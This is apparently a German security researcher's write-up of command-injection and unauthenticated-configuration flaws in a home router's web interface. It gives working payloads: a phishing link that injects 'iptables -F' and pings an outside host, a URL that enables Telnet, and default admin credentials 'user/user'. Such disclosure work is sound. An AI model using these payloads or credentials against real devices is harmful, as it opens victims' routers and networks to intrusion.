Wie ein Angriffsszenario entsteht

Normalerweise teste ich Command-Injections, indem ich einen Ping an mich selbst schicke (Blind Command Injection) aber bei einem Ping-Feld ist das nicht zielführend, da zum einen ohnehin ein Ping ausgeführt wird und zum anderen eine Ausgabe stattfindet, in der das Ergebnis angezeigt wird. Also entscheide ich mich für ein 127.0.0.1;whoami.

Die erste Annahme ist, dass der Befehl wie folgt aufgebaut ist: ping -t 4 -I $wanif $IpAddr und dementsprechend ping -t 4 -I nas0_0 127.0.0.1;whoami ausgeführt wird. Nachdem ich den Request ausgeführt habe, muss ich aber feststellen, dass der Ausgabe-Request Fehler zurückgibt.

Annahme zwei: ping -t 4 $IpAddr -I $wanif, wobei der Parameter wanif manipuliert wird zu nas0_0;whoami respektive ping -t 4 127.0.0.1 -I nas0_0;whoami - und siehe da: root!

Das allein ist schon eine problematische Sicherheitslücke, aber man muss auf dem Gerät angemeldet sein, um sie zu nutzen, und das erschwert das Ausnutzen deutlich.

Vielleicht lässt sich der POST-Request, bei dem ein Cookie mit der Session-Id übergeben werden muss, auch als GET-Request übergeben? Ja, das geht. Aber braucht man dann noch die Prüfsumme, die da heißt postSecurityFlag? Nein! Muss man dafür eingeloggt sein? Nein!

Ein Angriffsszenario könnte also wie folgt aussehen: Schicke jemandem, von dem du weißt, er hat ein solches Gerät, eine E-Mail mit dem Link

<a href="https://192.168.1.1/boaform/formPingCs?IpAddr=127.0.0.1&wanif=nas0_0;iptables%20-F;ping 123.123.123.123">Hier klicken für 1.000.000 Euro</a>

und bringe ihn dazu, den Link anzuklicken. Schneide ich unter 123.123.123.123 den Netzwerkverkehr mittels tcpdump mit, kenne ich die IP und mit dem über die Command-Injection eingeschleusten iptables -F habe ich das Gerät für die Außenwelt komplett geöffnet. Einige Browser unterbinden das Aufrufen privater IP-Adressen, wenn die Redirect-Adresse öffentlich ist. Aber das ist leider nicht immer der Fall.

Etwas erweitert lässt sich damit auch ein User anlegen, Telnet aktivieren, eine Reverse-Shell initialisieren und so weiter. Apropos Telnet: Wenn man sich im selben Netzwerk befindet und sich das obige Social Engineering sparen möchte, kann man folgenden Link aufrufen:

https://192.168.1.1/boaform/formACL_cisco_base?aclcap=0&apply=apply&updateACL=updateACL&interface=1&LocalLanAccess=3&w_web=0&w_https=0&w_icmp=0&enable=1&aclstartIP=0.0.0.0&aclendIP=0.0.0.0&telnet_open=1

Das ist die zweite Lücke, die ich gefunden habe, als ich im Webinterface Telnet aktivieren wollte, was standardmäßig deaktiviert ist. Der Aufruf aktiviert Telnet, und man muss kein Hacker sein, um auf den Account user mit dem Passwort user zu kommen, der für die Telnet-Anmeldung ausreicht. Aber das wird doch kein administrativer Account sein? Doch!